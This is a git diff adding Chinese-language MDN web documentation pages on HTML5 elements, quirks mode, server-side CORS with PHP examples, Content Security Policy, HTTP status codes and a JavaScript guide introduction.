{{HTMLElement("summary")}} 这个元素在 HTML5 中加入代表 <details> 元素的综述标题
{{HTMLElement("menuitem")}} 这个元素在 HTML5 中加入代表一个用户可以点击的菜单项。
{{HTMLElement("menu")}} 这个元素在 HTML5 中加入代表菜单。
+ +

另请参阅

+ + diff --git a/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html new file mode 100644 index 0000000000..04e0eabb4f --- /dev/null +++ b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html @@ -0,0 +1,26 @@ +--- +title: Quirks Mode and Standards Mode +slug: Quirks_Mode_and_Standards_Mode +--- +

在web产生初期, 网页通常被两个版本: 其中一个是为网景公司的 Netscape Navigator浏览器而写, 另外一个是为微软公司的 Internet Explorer浏览器而写. 随后,当W3C组织制定了web标准,各浏览器并不能立即的严格按标准执行,因为这样做会让一些已经存在的不符合新标准的网页无法正常显示.为此,浏览器推出两种模式来分别对待符合标准的网也与旧的标准指定之前遗留的网页.

+

如今,浏览器的渲染引擎已发展成为拥有三种渲染模式:quirks mode, almost standards mode, 和full standards mode. 在quirks mode(混杂模式)中,渲染引擎会模拟Navigator 4 和 Internet Explorer 5这些古老浏览器的不标准的渲染行为来渲染网页,以防止现代浏览器不能正常渲染已经存在的一些古老网页.在full standards mode(标准规范模式)中,渲染引擎会尽量使用HTML 和 CSS 规范规定的行为来渲染网页.在almost standards mode(接近标准模式)中,渲染引擎有极少数行为不遵循标准.

+

浏览器如何决定使用何种模式?

+

对于HTML文档,浏览器使用该文档开头定义的DOCTYPE来决定是否使用quirks mode还是standards mode来渲染. 为了让你的网页完全按照full standards mode被渲染, 请确保页面开始处包含如下例子中的DOCTYPE:

+
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset=UTF-8>
+    <title>Hello World!</title>
+  </head>
+  <body>
+  </body>
+</html>
+
+

例子中的DOCTYPE是这样定义的:<!DOCTYPE html>,这是有史以来最简洁的DOCTYPE了,而且也是HTML5规范所推荐的写法.早起版本的HTML标准还推荐了其他的一些DOCTYPE写法,不过.只有在<!DOCTYPE html>这样的DOCTYPE定义下,才可以很好的保证所有浏览器都会按照full standards mode去渲染网页,即使是老掉牙的Internet Explorer 6也会如此.再没有什么理由去使用更复杂的DOCTYPE了,因为使用它们可能让你的网页触发一些浏览器的almost standards mode 或者 quirks mode.

+

确保你已经将DOCTYPE 放在HTML文档的最开始处,如果DOCTYPE前面放置了注释或XML声明等其他元素,Internet Explorer 9或更低版本将会按照quirks mode渲染该网页.

+

在HTML5中,使用DOCTYPE的唯一目的就是要激活full standards mode.旧版本的HTML标准给DOCTYPE添加了额外的意义,但是除了在quirks mode 和 standards mode之间切换,没有浏览器使用DOCTYPE做过其他的任何事情.

+

XHTML

+

如果你将自己的网页 Content-Type HTTP头的值设定为 application/xhtml+xml MIME类型,你不需要在网页文档内部定义任何DOCTYPE就可以开启standards mode渲染网页.这是由于Content-Type HTTP头的优先级是最高的.但是这样的设置会导致Internet Explorer 8及其以下版本因不认识如上的MIME类型而显示下载文件的窗口,Internet Explorer 9及其以上版本解决了这个问题.

+

如果你将自己的XHML网页的Content-Type HTTP头设定为text/html的MIME类型,浏览器将会按照HTML文件去读取它,如果想使用standards mode,你必须指定DOCTYPE.

不同模式之间的差别

+

查看 list of quirksalmost standards mode 了解不同模式之间的差别.

+

{{ languages( { "en": "en/Quirks_Mode_and_Standards_Mode" } ) }}

diff --git a/files/zh-cn/conflicting/web/http/cors/index.html b/files/zh-cn/conflicting/web/http/cors/index.html new file mode 100644 index 0000000000..50a52b3405 --- /dev/null +++ b/files/zh-cn/conflicting/web/http/cors/index.html @@ -0,0 +1,249 @@ +--- +title: Server-Side Access Control +slug: Web/HTTP/Server-Side_Access_Control +tags: + - AJAX + - CORS + - HTTP + - PHP +translation_of: Web/HTTP/CORS +translation_of_original: Web/HTTP/Server-Side_Access_Control +--- +

{{HTTPSidebar}}

+ +

浏览器会针对从 {{domxref("XMLHttpRequest")}} 或Fetch API中发起的跨网站请求发送特定的HTTP标头。它还希望看到使用跨站点响应发送回的特定HTTP标头。这些标头的概述,包括启动请求和处理来自服务器的响应的示例JavaScript代码, 以及每个头的讨论,可以在HTTP访问控制(CORS)文章中找到,应该作为本文的配套文章阅读。

+ +

HTTP访问控制文章是很好的使用指南。本文介绍利用PHP处理访问控制请求和制定访问控制响应。本文的目标读者是服务器程序员或管理员。虽然在PHP代码示例所示,类似的概念适用于ASP.net,Perl、Python、Java等;一般来说,这些概念可以应用于任何服务器端编程环境处理HTTP请求和动态制定的HTTP响应。

+ +

讨论HTTP标头

+ +

了解HTTP 头部信息, 建议先阅读这篇文章 covering the HTTP headers used by both clients (such as Firefox 3.5 and beyond) and servers

+ +
 
+ +

工作代码示例

+ +

随后的章节中PHP代码(和JavaScript调用服务器)可查看相关代码,这些代码在实现了XMLHttpRequest的浏览器上都可运行,像Firefox 3.5及以上。

+ +
 
+ +

简单的跨站请求

+ +

简单的访问控制请求 在下列情况下会被发起:

+ + + +

以下情况,请求会返回相关响应信息

+ + + +

 简单的访问控制请求 介绍了在客户端和服务端进行信息交换的HEADER.  下面是一段用来处理简单请求的PHP代码。

+ +
<?php
+
+// 我们将只授予 arunranga.com 域的访问权限,因为我们认为它通过 application/xml 方式来访问这些资源是安全的。
+
+if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
+{
+
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-type: application/xml');
+    readfile('arunerDotNetResource.xml');
+}
+else
+{
+header('Content-Type: text/html');
+echo "<html>";
+echo "<head>";
+echo "   <title>Another Resource</title>";
+echo "</head>";
+echo "<body>",
+    "<p>This resource behaves two-fold:";
+echo "<ul>",
+        "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>";
+echo " <li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
+echo "you get this HTML document</li>",
+    "</ul>",
+"</body>",
+"</html>";
+}
+?>
+
+ +

上面的代码通过检查浏览器发送的 ORIGIN 头部信息(通过 $_SERVER['HTTP_ORIGIN'] ) 是否匹配 'http://arunranga.com' 得知,如果是,返回 Access-Control-Allow-Origin: http://arunranga.com 。如果你的浏览器支持访问控制,你可以访问 这里 .

+ +

预请求

+ +

预请求 发生在下列情况中:

+ + + +

预请求访问控制 这篇文章介绍了在客户端和服务器间进行交换的头信息,响应preflight requests请求的服务器资源会有这些动作:

+ + + +

下面是相关的PHP内容, preflighted request:

+ +
<?php
+if($_SERVER['REQUEST_METHOD'] == "GET")
+{
+    header('Content-Type: text/plain');
+    echo "This HTTP resource is designed to handle POSTed XML input from arunranga.com and not be retrieved with GET";
+
+}
+elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
+{
+    // 告诉客户端我们支持来自 arunranga.com 的请求并且预请求有效期将仅有20天
+    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
+    {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+    header('Access-Control-Allow-Headers: X-PINGARUNER');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+    }
+    else
+    {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+
+    }
+}
+elseif($_SERVER['REQUEST_METHOD'] == "POST")
+{
+    /* 通过首先获得XML传送过来的blob来处理POST请求,然后做一些处理, 最后将结果返回客户端
+    */
+    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
+    {
+            $postData = file_get_contents('php://input');
+            $document = simplexml_load_string($postData);
+
+            // 对POST过来的数据进行一些处理
+
+            $ping = $_SERVER['HTTP_X_PINGARUNER'];
+
+
+            header('Access-Control-Allow-Origin: http://arunranga.com');
+            header('Content-Type: text/plain');
+            echo // 处理之后的一些响应
+    }
+    else
+        die("POSTing Only Allowed from arunranga.com");
+}
+else
+    die("No Other Methods Allowed");
+
+?>
+
+ +

可以看到,就像POST一样,针对OPTIONS preflight请求,同样返回对应的头信息。这样 以来,处理preflight就像处理普通的request请求一样,在针对OPTIONS请求的响应信息中,服务器通过客户端,实际的请求可以用POST的形式发送,同时可附加X-PINGARUNERP这样的头信息。如果浏览器支持的话,可访问 这里

+ +

凭证请求

+ +

带凭据的请求,将Cookies和HTTP认证信息一起发送出去的跨域请求,根据请求方式,可以是 Simple 或 Preflighted,

+ +

发送 简单请求 时, Firefox 3.5 (或以上)会发送带Cookies信息的请求,  (如果withCredentials 设以true). 如果服务器响应真的是可信任的, 客户端接受并进行输出。 在 预请求 中,服务器可以针对 OPTIONS 请求,返回 Access-Control-Allow-Credentials: true 信息

+ +

下面是处理请求的PHP内容:

+ +
<?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET")
+{
+
+    // First See if There Is a Cookie
+    //$pageAccess = $_COOKIE['pageAccess'];
+    if (!isset($_COOKIE["pageAccess"])) {
+
+    setcookie("pageAccess", 1, time()+2592000);
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Cache-Control: no-cache');
+    header('Pragma: no-cache');
+    header('Access-Control-Allow-Credentials: true');
+    header('Content-Type: text/plain');
+    echo 'I do not know you or anyone like you so I am going to mark you with a Cookie :-)';
+
+    }
+    else
+    {
+
+    $accesses = $_COOKIE['pageAccess'];
+    setcookie('pageAccess', ++$accesses, time()+2592000);
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Credentials: true');
+    header('Cache-Control: no-cache');
+    header('Pragma: no-cache');
+    header('Content-Type: text/plain');
+    echo 'Hello -- I know you or something a lot like you!  You have been to ', $_SERVER['SERVER_NAME'], ' at least ', $accesses-1, ' time(s) before!';
+    }
+
+}
+elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
+{
+    // Tell the Client this preflight holds good for only 20 days
+    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
+    {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: GET, OPTIONS');
+    header('Access-Control-Allow-Credentials: true');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+    }
+    else
+    {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+
+    }
+}
+else
+    die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
+
+
+
+?>
+
+ +

需要注意的是,在带凭据请求中, Access-Control-Allow-Origin: 头不能是通配符 "*",必须是一个有效的域名。  可参考这里 running here

+ +

Apache示例

+ +

限制对某些URI的访问

+ +

最有效的方法之一,利用Apache rewrite, 环境变量,还有headers使Access-Control-Allow-* 对某些特定的URI生效,比如,以无认证信息形式利用GET跨域请求api(.*).json。

+ +
RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
+Header set Access-Control-Allow-Origin "*" env=CORS
+Header set Access-Control-Allow-Methods "GET" env=CORS
+Header set Access-Control-Allow-Credentials "false" env=CORS
+
+ +

参见

+ + diff --git a/files/zh-cn/conflicting/web/http/csp/index.html b/files/zh-cn/conflicting/web/http/csp/index.html new file mode 100644 index 0000000000..232b502c3f --- /dev/null +++ b/files/zh-cn/conflicting/web/http/csp/index.html @@ -0,0 +1,36 @@ +--- +title: 内容安全策略 (CSP) +slug: Web/Security/CSP +translation_of: Web/HTTP/CSP +translation_of_original: Web/Security/CSP +--- +
{{gecko_minversion_header("2.0")}}
+ +

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

+ +

尽管内容安全策略在 Firefox 4 中已经包含,使用 X-Content-Security-Policy 头部来实现,但它使用的是过时的 CSP 标准。Firefox 23 包含了更新的 CSP 实现,使用的是 W3C CSP 1.0 标准中描述的没有前缀的 Content-Security-Policy 头部和指令。

+ +

内容安全策略主题

+ +
+
介绍内容安全策略
+
概述什么是 CSP,以及它如何让你的网站变得更安全。
+
CSP 策略指令
+
CSP 策略指令参考。
+
使用内容安全策略
+
你可以通过配置策略集调整 CSP 的行为。这让你可以按需对个别类型的资源使用宽松或严格的安全策略。这篇文章讲述了如何建立 CSP 和如何激活你网站的 CSP。
+
使用 CSP 违规报告
+
如何使用 CSP 违规报告来监视攻击你网站的尝试和攻击者。
+
默认 CSP 限制 {{obsolete_inline("15.0")}}
+
CSP 强制实施的默认限制的细节
+
+ +

另请参阅

+ + diff --git a/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html new file mode 100644 index 0000000000..2577fa1fde --- /dev/null +++ b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html @@ -0,0 +1,97 @@ +--- +title: Using CSP violation reports +slug: Web/Security/CSP/Using_CSP_violation_reports +translation_of: Web/HTTP/CSP +translation_of_original: Web/Security/CSP/Using_CSP_violation_reports +--- +

{{ gecko_minversion_header("2.0") }}{{ draft() }}

+ +

CSP其中的一个强大的特性是它为web站点管理员提供了生成和报告详细的站点攻击的描述信息。这些报告通过HTTP的POST请求发送到预先你指定的一个或多个服务器上,这些服务器可以通过 report-uri 策略来制定。发送的报告是JSON格式的,对于非ASCII字符,其使用了默认的JSON UTF-8编码。本文将向你展示如何在你的站点上配置报告,以及报告的格式。

+ +

对于支持CSP的浏览器,只要你制定了合法的 report-uri 指令,任何违背该策略的攻击操作都会被浏览器所报告。

+ +

开启报告

+ +

默认情况下,攻击是不会被报告的。要开启报告模式,你要指定 report-uri 指令,这个指令包含了至少一个用于接收报告的URI:

+ +
Content-Security-Policy: default-src self; report-uri http://reportcollector.example.com/collector.cgi
+
+ +

然后,你要搭建接受报告的服务器;它可以对报告进行存储和并进行适时的处理。

+ +

注意:Firefox 23以前的版本所使用的报告头为 X-Content-Security-Policy。这个头在将来将被废弃。

+ +

攻击报告的语法

+ +

报告的JSON对象包含了以下的数据:

+ +
+
document-uri
+
当前攻击所发生的文档的URI。
+
referrer
+
当前攻击所发生的文档的来源页面的URI。
+
blocked-uri
+
被CSP策略所拦截的资源的URI。如果被拦截资源的URI属于与当前文档不同的来源,则所拦截的资源URI会被削减至只剩scheme,host和port三部分。
+
violated-directive
+
攻击所针对的策略部分的名称
+
original-policy
+
由X-Content-Security-Policy头指定的原始策略。
+
+ +

Sample violation report

+ +

攻击报告的样例

+ +
在CSP规范中,已经有一个样例展示攻击报告。这里我们来看另一个例子。
+ +
 
+ +
假设有一个页面叫做http://example.com/signup.html. 它使用了一下的策略,它禁止从除cdn.example.com以外的域加载样式表。
+ +
+
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+
+
+ +
signup.html的HTML则像下面这样:
+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Sign Up</title>
+    <link rel="stylesheet" href="css/style.css">
+  </head>
+  <body>
+    ... Content ...
+  </body>
+</html>
+
+ +
看到问题了么?在策略中指明样式表只能从cdn.example.com加载,而这个页面则试图从它本域(http://example.com)下载样式表. 浏览器基于强制CSP的开启,在这个页面被访问时,将以下的报告通过POST请求发送到 http://example.com/_/csp-reports
+ +
{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}
+
+ +

我们可以看到,这个报告在blocked-uri中包含了错误资源的整个路径。而这并非总是这样。例如,当signup.html试图从http://anothercdn.example.com/stylesheet.css加载css的时候,浏览器只会记录来源(http://anothercdn.example.com)而不会记录完整的路径。CSP规范中对这一行为进行了解释。总结一下,CSP的作用是放置跨域信息的泄露。值得注意的是,规范中的 攻击报告范例 有一处错误(其中blocked-uri应该是"http://evil.example.com")。

+ +

更多参考

+ + + +
+

{{ languages( { "ja": "ja/Security/CSP/Using_CSP_violation_reports" } ) }}

+
+ +

 

diff --git a/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html new file mode 100644 index 0000000000..ce27f52be4 --- /dev/null +++ b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html @@ -0,0 +1,56 @@ +--- +title: 内容安全策略介绍 +slug: Web/Security/CSP/Introducing_Content_Security_Policy +tags: + - 介绍 + - 内容安全策略 + - 安全 +translation_of: Web/HTTP/CSP +translation_of_original: Web/Security/CSP/Introducing_Content_Security_Policy +--- +

{{ gecko_minversion_header("2") }}

+ +

内容安全策略 (CSP)  是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

+ +

CSP被设计成向后兼容;不支持的浏览器依然可以运行使用了它的服务器页面,反之亦然。不支持CSP的浏览器会忽略它,像平常一样运行,默认对网页内容使用标准的同源策略。如果网站不提供CSP头部,浏览器同样会使用标准的同源策略

+ +

开启CSP就如配置您的页面服务来返回Content-Security-Policy HTTP 头部一样简单. (Firefox 23之前的版本使用的是X-Content-Security-Policy ). 查看 Using Content Security Policy 获取如何配置和开启CSP的细节

+ +
提示: 内容安全策略标准特点 是一种能被 {{ HTMLElement("meta") }}元素来配置的一种协议,但这种做法仍未被Firefox支持, 支持这种做法是被添加在bug 663570.
+ +

减少跨域脚本

+ +

CSP的主要目标是减少和报告XSS攻击. XSS攻击利用浏览器对从服务器接受的内容的信任。恶意的脚本在受害的浏览器被执行, 因为浏览器相信内容源,甚至当内容源并不是从它应该来的地方过来的。

+ +

CSP使服务器管理员能够通过制定浏览器能够执行的可信赖脚本的域名来减少或者消除由XSS可能出现的矢量。 一个兼容CSP的浏览器将只会执行加载与白名单域名的源文件的脚本,忽略那些其他的脚本(包括内联脚本和事件操控HTML属性)

+ +

作为一种最终的保护,想要禁止脚本的站点可以选择全局禁止脚本执行

+ +

减少数据包监听攻击

+ +

为了重新约束内容被下载的域名, 服务端能够制定那种协议能够被使用;例如(理论上,从安全的立足点来看),一个服务制定所有的内容都通过HTTPS协议来加载

+ +
提示:一个完整地数据传输安全策略不单单包括通HTTPS加强数据的传输,还可以使所有cookie带上安全标志并且提供从HTTP页面到对应HTTPS页面的自动重定向。
+ +
提示:站点可能也会使用 Strict-Transport-Security HTTP头部来确保浏览器只通过一个加密渠道来连接他们
+ +

See also

+ + + +

Specification

+ + + +
+

{{ languages( { "ja": "ja/Introducing_Content_Security_Policy" } ) }}

+
+ +

 

diff --git a/files/zh-cn/conflicting/web/http/status/index.html b/files/zh-cn/conflicting/web/http/status/index.html new file mode 100644 index 0000000000..2c0fce1058 --- /dev/null +++ b/files/zh-cn/conflicting/web/http/status/index.html @@ -0,0 +1,13 @@ +--- +title: HTTP response codes +slug: Web/HTTP/HTTP_response_codes +translation_of: Web/HTTP/Status +translation_of_original: Web/HTTP/HTTP_response_codes +--- +

HTTP状态码(响应码)用来表明这个HTTP 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.

+

 

+

下表列出了所有HTTP状态码,以及他们各自所代表的含义:

+ +
状态码   原因短语 代表含义 HTTP 版本   
消息响应
100          Continue
(继续)
客户端应当继续发送请求.这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝.客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应.服务器必须在请求完成后向客户端发送一个最终响应. HTTP/1.1 可用
101 Switching Protocol
(切换协议)
服务器已经理解了客户端的请求,并将通过Upgrade消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到 在Upgrade消息头中定义的那些协议。: 只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特 性的资源。 HTTP/1.1 可用
成功响应
200 OK
(成功)
请求成功.成功的意义根据请求所使用的方法不同而不同.
  • GET: 资源已被提取,并作为响应体传回客户端.
  • HEAD: 实体已作为响应头传回客户端
  • POST: 经过服务器处理客户端传来的数据,适合的资源作为响应体传回客户端.
  • TRACE: 服务器收到请求消息作为响应体传回客户端.
PUT, DELETE, 和 OPTIONS 方法永远不会返回 200 状态码.
HTTP/0.9 可用
201 Created
(已创建)
请求成功,而且有一个新的资源已经依据请求的需要而建立,通常这是 PUT 方法得到的响应码. HTTP/0.9 可用
202 Accepted
(已创建)
服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。:返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。 HTTP/0.9 可用
203 Non-Authoritative Information
(未授权信息)

服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝,如果不是上述情况,使用200状态码才是最合适的.

HTTP/0.9 and 1.1
204 No Content
(无内容)
该响应没有响应内容,只有响应头,响应头也可能是有用的.用户代理可以根据新的响应头来更新对应资源的缓存信息. HTTP/0.9 可用
205 Reset Content
(重置内容)
告诉用户代理去重置发送该请求的窗口的文档视图. HTTP/1.1 可用
206 Partial Content
(部分内容)
当客户端通过使用range头字段进行文件分段下载时使用该状态码 HTTP/1.1 可用
重定向
300 Multiple Choice
(多种选择)
该请求有多种可能的响应,用户代理或者用户必须选择它们其中的一个.服务器没有任何标准可以遵循去代替用户来进行选择. HTTP/1.0 and later
301 Moved Permanently
(永久移动)
该状态码表示所请求的URI资源路径已经改变,新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
302 Found
(临时移动)
该状态码表示所请求的URI资源路径临时改变,并且还可能继续改变.因此客户端在以后访问时还得继续使用该URI.新的URL会在响应的Location:头字段里找到. HTTP/0.9 可用
303 See Other
(查看其他位置)
服务器发送该响应用来引导客户端使用GET方法访问另外一个URI. HTTP/0.9 and 1.1
304 Not Modified
(未修改)
告诉客户端,所请求的内容距离上次访问并没有变化. 客户端可以直接从浏览器缓存里获取该资源. HTTP/0.9 可用
305 Use Proxy
(使用代理)
所请求的资源必须统过代理才能访问到.由于安全原因,该状态码并未受到广泛支持. HTTP/1.1 可用
306 unused
(未使用)
这个状态码已经不再被使用,当初它被用HTTP 1.1规范旧版本中. HTTP/1.1 可用
307 Temporary Redirect
(临时重定向)

服务器发送该响应用来引导客户端使用相同的方法访问另外一个URI来获取想要获取的资源.新的URL会在响应的Location:头字段里找到.与302状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

HTTP/1.1 可用
308 Permanent Redirect
(永久重定向)

所请求的资源将永久的位于另外一个URI上.新的URL会在响应的Location:头字段里找到.与301状态码有相同的语义,且前后两次访问必须使用相同的方法(GET POST).

注意: 这是个试验性的状态码,这里是规范草案. Firefox14已经实现对该状态码的支持.

HTTPbis
(试验草案)

客户端错误
400 Bad Request
(错误请求)
因发送的请求语法错误,服务器无法正常读取. HTTP/0.9 可用
401 Unauthorized
(未授权)
需要身份验证后才能获取所请求的内容,类似于403错误.不同点是.401错误后,只要正确输入帐号密码,验证即可通过. HTTP/0.9 可用
402 Payment Required
(需要付款)
该状态被保留以供将来使用.创建此代码最初的目的是数字支付系统而用,然而,到现在也没投入使用. HTTP/0.9 and 1.1
403 Forbidden
(禁止访问)
客户端没有权利访问所请求内容,服务器拒绝本次请求. HTTP/0.9 可用
404 Not Found
(未找到)
服务器找不到所请求的资源.由于经常发生此种情况,所以该状态码在上网时是非常常见的. HTTP/0.9 可用
405 Method Not Allowed
(不允许使用该方法)
该请求使用的方法被服务器端禁止使用,RFC2616中规定, GETHEAD 方法不能被禁止. HTTP/1.1 可用
406 Not Acceptable
(无法接受)
在进行服务器驱动内容协商后,没有发现合适的内容传回给客户端. HTTP/1.1 可用
407 Proxy Authentication Required
(要求代理身份验证)

类似于状态码 401,不过需要通过代理才能进行验证.

HTTP/1.1 可用
408 Request Timeout
(请求超时)
客户端没有在服务器预备等待的时间内完成一个请求的发送.这意味着服务器将会切断和客户端的连接. 在其他浏览器中,这种响应更常见一些, 例如Chrome 和 IE9, 目的是为了使用 HTTP 预连机制 加快浏览速度 (查看{{ bug("634278") }}, Firefox在未来版本中会实现这种机制). 同时注意,一些服务器不发送此种响应就直接切断连接. HTTP/1.1 可用
409 Conflict
(冲突)
该请求与服务器的当前状态所冲突. HTTP/1.1 可用
410 Gone
(已失效)
所请求的资源已经被删除. HTTP/1.1 可用
411 Length Required
(需要内容长度头)
因服务器在本次请求中需要 Content-Length 头字段,而客户端没有发送.所以,服务器拒绝了该请求. HTTP/1.1 可用
412 Precondition Failed
(预处理失败)
服务器没能满足客户端在获取资源时在请求头字段中设置的先决条件. HTTP/1.1 可用
413 Request Entity Too Large
(请求实体过长)
请求实体大小超过服务器的设置的最大限制,服务器可能会关闭HTTP链接并返回Retry-After 头字段. HTTP/1.1 可用
414 Request-URI Too Long
(请求网址过长)
客户端请求所包含的URI地址太长,以至于服务器无法处理. HTTP/1.1 可用
415 Unsupported Media Type
(媒体类型不支持)
服务器不支持客户端所请求的媒体类型,因此拒绝该请求. HTTP/1.1 可用
416 Requested Range Not Satisfiable
(请求范围不合要求)
请求中包含的Range头字段无法被满足,通常是因为Range中的数字范围超出所请求资源的大小. HTTP/1.1 可用
417 Expectation Failed
(预期结果失败)
在请求头 Expect 中指定的预期内容无法被服务器满足. HTTP/1.1 可用
服务器端错误
500 Internal Server Error
(内部服务器错误)
服务器遇到未知的无法解决的问题. HTTP/0.9 可用
501 Implemented
(未实现)
服务器不支持该请求中使用的方法,比如POSTPUT.只有GETHEAD 是RFC2616规范中规定服务器必须实现的方法. HTTP/0.9 可用
502 Bad Gateway
(网关错误)
服务器作为网关且从上游服务器获取到了一个无效的HTTP响应. HTTP/0.9 可用
503 Service Unavailable
(服务不可用)
由于临时的服务器维护或者过载,服务器当前无法处理请求.这个状况是临时的,并且将在一段时间以后恢复.如果能够预计延迟时间,那么响应中可以包含一个Retry-After:头用以标明这个延迟时间.如果没有给出这个Retry-After:信息,那么客户端应当以处理500响应的方式处理它.同时,这种情况下,一个友好的用于解释服务器出现问题的页面应当被返回,并且,缓存相关的HTTP头信息也应该包含,因为通常这种错误提示网页不应当被客户端缓存. HTTP/0.9 可用
504 Gateway Timeout 
(网关超时)
服务器作为网关且不能从上游服务器及时的得到响应返回给客户端. HTTP/1.1 可用
505 HTTP Version Not Supported
(HTTP版本不受支持)
服务器不支持客户端发送的HTTP请求中所使用的HTTP协议版本. HTTP/1.1 可用 
+

 

+

{{ languages( { "en": "en/HTTP/HTTP_response_codes"} ) }}

diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html new file mode 100644 index 0000000000..d8b77fece9 --- /dev/null +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html @@ -0,0 +1,136 @@ +--- +title: 关于本指南 +slug: Web/JavaScript/Guide/About +tags: + - JavaScript + - 初学者 + - 指南 +translation_of: Web/JavaScript/Guide/Introduction +translation_of_original: Web/JavaScript/Guide/About +--- +

JavaScript 是一种跨平台的,基于对象的脚本语言。本指南介绍了所有您使用 JavaScript 所需要了解的事情。

+ +

JavaScript 各版本中的新特性

+ + +

+ +

您应该已经了解的事情

+ +

本指南假设您具有以下背景:

+ + + +

JavaScript 版本

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
表格 1 JavaScript 和 Navigator 版本对照
JavaScript 版本Navigator 版本
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
+ Mozilla (开源浏览器)
JavaScript 1.6Firefox 1.5,及其它基于 Mozilla 1.8 的产品
JavaScript 1.7Firefox 2,及其它基于 Mozilla 1.8.1 的产品
JavaScript 1.8Firefox 3,及其它基于 Gecko 1.9 的产品
+ +

哪里可以找到 JavaScript 的信息

+ +

JavaScript 文档包括以下书目:

+ + + +

如果您刚刚开始接触 JavaScript,可以从 JavaScript 指南 开始。一旦掌握了基础知识,您可以从 JavaScript 参考 中获得更多关于特定的对象和语句的细节。

+ +

学习 JavaScript 的窍门

+ +

开始学习 JavaScript 很容易:您只需要一个流行的 Web 浏览器即可。这本指南中包含了一些仅在 Firefox(以及其它基于 Gecko 的浏览器)的近期版本中才有的特性,因此,建议您使用最新的 Firefox 浏览器。

+ +

在Firefox中内嵌了两个用于测验JavaScript非常有效的工具: Web终端和Scratchpad。

+ +

Web终端

+ +

web终端会显示有关当前装载网页的信息,并且还包含命令行,您可以用它在当前的网页中执行 JavaScript 语句。

+ +

要打开 web 终端,请在 Firefox 中的“工具”菜单中选择 “Web Developer“ 中的 "Web Console"。它显示在浏览器窗口的底部。在终端的底部是一个命令行,你可以输入 JavaScript, 而在上面的面板中可以看到输出。

+ +

Image:ErrorConsole.png

+ +

Scratchpad

+ +

